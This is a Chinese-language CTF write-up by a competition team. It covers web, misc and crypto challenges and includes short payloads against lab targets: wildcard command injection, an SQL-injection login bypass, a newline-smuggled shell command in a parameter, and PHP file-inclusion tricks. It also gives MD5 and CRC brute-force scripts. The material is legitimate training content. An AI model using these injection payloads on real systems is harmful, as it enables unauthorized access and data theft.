由于赛后官方不给wp(绿盟一向如此),交流群也没有得到其他题解,赛后就根据自己的wp来写了,wp由队友及我共同完成。比赛共解答10题,Web 5道,Misc 2道,Crypto 3道,wp只有一部分,缺少的部分有机会再补上吧
Web
赛后靶机关了,没办法再次复现,只能用当时编写的wp配图,好像源码l都换成了1
简单的php
对长度做了限制,这里代码观察后直接通配符即可
payload:?1=cat fl*
这题环境崩过几次,据说因为共用一个环境还被人删了flag
index
扫描网站目录得到源码
$user和$pass存在注入点,user那里MD5加密就行
payload:user='union select '21232f297a57a5a743894a0e4a801fc3'#&pass=admin
GetFlag
验证码一直动,最离谱的是我CTRL+U里的验证码跟页面的不一样
使用脚本爆破出md5加密前的,提交得到php页面,自己脚本太烂了,放一下大佬的
1import hashlib
2from multiprocessing.dummy import Pool as ThreadPool
3
4
5# MD5截断数值已知 求原始数据
6# 例子 substr(md5(captcha), 0, 6)=60b7ef
7
8def md5(s): # 计算MD5字符串
9 return hashlib.md5(str(s).encode('utf-8')).hexdigest()
10
11
12keymd5 = '8f5fb0' # 已知的md5截断值
13md5start = 0 # 设置题目已知的截断位置
14md5length = 6
15
16
17def findmd5(sss): # 输入范围 里面会进行md5测试
18 key = sss.split(':')
19 start = int(key[0]) # 开始位置
20 end = int(key[1]) # 结束位置
21 result = 0
22 for i in range(start, end):
23 # print(md5(i)[md5start:md5length])
24 if md5(i)[0:6] == keymd5: # 拿到加密字符串
25 result = i
26 print(result) # 打印
27 break
28
29
30list = [] # 参数列表
31for i in range(10): # 多线程的数字列表 开始与结尾
32 list.append(str(10000000 * i) + ':' + str(10000000 * (i + 1)))
33pool = ThreadPool() # 多线程任务
34pool.map(findmd5, list) # 函数 与参数列表
35pool.close()
36pool.join()
进去也有套娃,绕过去就行,构造payload:4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1%0acat+flag.php
hello,world
扫出备份文件.index.php.swp以及/index.php/login/,进入查看源码
文件包含,传入file=config.php试试
test666=sss607
php伪协议直接出
文件管理网站
扫出1.htaccess和lfi.php
文件包含
这里挂一波Mocha大佬的WEB wp,写得比我这详细得多也更有参考意义
Misc
美丽的小姐姐
因此,判断图片的chunk[0](也就是IHDR块)的数据跟crc32校验值不一致,被篡改了
1import os
2import binascii
3import struct
4misc = open("CRC-ERROR.png","rb").read()
5
6# 爆破宽
7for i in range(1024):
8 data = misc[12:16] + struct.pack('>i',i)+ misc[20:29] #IHDR数据
9 crc32 = binascii.crc32(data) & 0xffffffff
10 if crc32 == 0x5e687792: #IHDR块的crc32值
11 print(i)
12 print("hex:"+hex(i))
13# 爆破高
14for i in range(1024):
15 data = misc[12:20] + struct.pack('>i',i)+ misc[24:29]
16 crc32 = binascii.crc32(data) & 0xffffffff
17 if crc32 == 0x5e687792:
18 print(i)
19 print("hex:"+hex(i))
改高度,即出flag
音乐和乐谱
十六进制打开,发现末尾给了密码
把ejfg作为密码转为字符串,在线网站
Crypto
RSA
图解
flagMD5加密后大写
简单编码
下载下来,补全压缩后缀,打开后里面是jsfuck文件,在线解码
10进制转16进制
十六进制转字符串,每两位数字是一位字符,转后为id_jws
,MD5加密大写
nike
原题,解压一行py脚本,格式化
1(lambda __operator, __print, __g, __y: [(sys.setrecursionlimit(
2 1000000), [
3 [
4 [
5 [
6 [(decode(cipher), None)[1]
7 for __g['cipher'] in [(
8 'D6VNEIRAryZ8Opdbl3bOwqmBD+lmFXbcd/XfgHalqYBh1FDtbJo='
9 )]
10 ][0]
11 for __g['decode'], decode.__name__ in [(
12 lambda cipher: (lambda __l: [(
13 init(), [
14 [
15 [(lambda __after:
16 (
17 __print(
18 'sorry,you dont have the auth'
19 ),
20 0
21 )[1]
22 if(
23 __l[
24 'auth'
25 ] !=
26 1
27 )
28 else
29 __after()
30 )(lambda:
31 (
32 lambda __items,
33 __after,
34 __sentinel:
35 __y(
36 lambda __this:
37 lambda:
38 (
39 lambda __i: [
40 [
41 __this() for __l[
42 'result'
43 ] in [
44 (
45 __operator
46 .iadd(
47 __l[
48 'result'
49 ],
50 chr(
51 (
52 s[
53 (
54 __l[
55 'i'
56 ] %
57 256
58 )
59 ] ^
60 ord(
61 __l[
62 'cipher'
63 ]
64 [
65 __l[
66 'i'
67 ]
68 ]
69 )
70 )
71 )
72 )
73 )
74 ]
75 ]
76 [
77 0
78 ]
79 for __l[
80 'i'
81 ] in [
82 (
83 __i
84 )
85 ]
86 ]
87 [
88 0
89 ]
90 if __i is not __sentinel
91 else
92 __after()
93 )
94 (
95 next(
96 __items,
97 __sentinel
98 )
99 )
100 )
101 ()
102 )(
103 iter(
104 range(
105 len(
106 __l[
107 'cipher'
108 ]
109 )
110 )
111 ),
112 lambda:
113 (
114 __print(
115 __l[
116 'result'
117 ]
118 .encode(
119 'base64'
120 )
121 ),
122 None
123 )[
124 1
125 ], []
126 )) for __l[
127 'auth'
128 ] in [(0)]][0]
129 for __l[
130 'cipher'] in [
131 (__l[
132 'cipher'
133 ].decode(
134 'base64'
135 ))
136 ]
137 ][0]
138 for __l['result'] in [
139 ('')
140 ]
141 ][0])[1]
142 for __l['cipher'] in [(
143 cipher)]
144 ][0])(
145 {}), 'decode')]
146 ][0]
147 for __g['init'], init.__name__ in [(lambda: (
148 lambda __l: [
149 [(lambda __items, __after,
150 __sentinel: __y(
151 lambda __this:
152 lambda: (lambda __i: [
153 (s.append(
154 __l[
155 'i'
156 ]
157 ), (k
158 .append(
159 ord(
160 __l[
161 'key'
162 ]
163 [
164 (
165 __l[
166 'i'
167 ] %
168 len(
169 __l[
170 'key'
171 ]
172 )
173 )
174 ]
175 )
176 ),
177 __this()
178 )[1])[1]
179 for __l[
180 'i'] in [
181 (__i)
182 ]
183 ][0]
184 if __i is not __sentinel
185 else __after()
186 )(next(__items,
187 __sentinel
188 )))())(iter(range(
189 256)), lambda: (
190 lambda __items,
191 __after,
192 __sentinel: __y(
193 lambda __this:
194 lambda: (
195 lambda __i: [
196 [
197 [
198 [
199 [
200 __this() for s[
201 __l[
202 'j'
203 ]
204 ] in [
205 (
206 __l[
207 'tmp'
208 ]
209 )
210 ]
211 ]
212 [
213 0
214 ]
215 for s[
216 __l[
217 'i'
218 ]
219 ] in [
220 (
221 s[
222 __l[
223 'j'
224 ]
225 ]
226 )
227 ]
228 ]
229 [
230 0
231 ]
232 for __l[
233 'tmp'
234 ] in [
235 (
236 s[
237 __l[
238 'i'
239 ]
240 ]
241 )
242 ]
243 ]
244 [
245 0
246 ]
247 for __l[
248 'j'
249 ] in [
250 (
251 (
252 (
253 (
254 __l[
255 'j'
256 ] +
257 s[
258 __l[
259 'i'
260 ]
261 ]
262 ) +
263 k[
264 __l[
265 'i'
266 ]
267 ]
268 ) %
269 256
270 )
271 )
272 ]
273 ][0]
274 for __l[
275 'i'
276 ] in [
277 (
278 __i
279 )
280 ]
281 ][0]
282 if __i is not __sentinel
283 else
284 __after()
285 )(next(
286 __items,
287 __sentinel
288 )))())(iter(
289 range(256)),
290 lambda: None, []), []) for __l[
291 'j'] in [(0)]][0]
292 for __l['key'] in [(
293 'aV9hbV9ub3RfZmxhZw=='
294 .decode('base64'))]
295 ][0])(
296 {}), 'init')]
297 ][0]
298 for __g['k'] in [([])]
299 ][0]
300 for __g['s'] in [([])]
301 ][0])[1]
302 for __g['sys'] in [(__import__('sys', __g, __g))]
303][0])(__import__('operator', level = 0), __import__('__builtin__',
304 level = 0).__dict__['print'], globals(), (lambda f: (lambda x:
305 x(x))(lambda y: f(lambda: y(y)()))))
格式化也好难读,这里把if(__l['auth'] !=1)
修改为if(__l['auth'] ==1)
运行即可出flag
进决赛了,没打过AWD,kali不太会用,师傅们手下留情,欢迎各位师傅交流交流AWD基础